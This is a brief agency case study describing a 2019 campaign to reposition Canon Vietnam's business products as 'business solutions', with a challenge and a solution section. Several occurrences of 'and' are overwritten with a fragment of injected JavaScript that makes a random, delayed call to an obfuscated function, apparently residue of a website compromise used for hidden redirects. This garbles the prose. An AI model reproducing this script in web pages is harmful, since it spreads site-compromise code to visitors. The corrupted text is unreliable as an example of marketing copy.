Canon Business Solutions Thematic Campaign 2019

THE CHALLENGE

We work with Canon Vietnam to reposition their business products into business solutions. This new approach requested a more insightful way of communication to attract the attention andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and interest of business owners andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and operation managers.

THE SOLUTION

Reposition all Canon Business Products into “The Solutions For Business Improvements”. -Create a thematic campaign with the call-to-action “Smart Investment Empowers Your Business” that combine digital advertising andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and editorial articles to  generate awareness andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and recruit lead forms.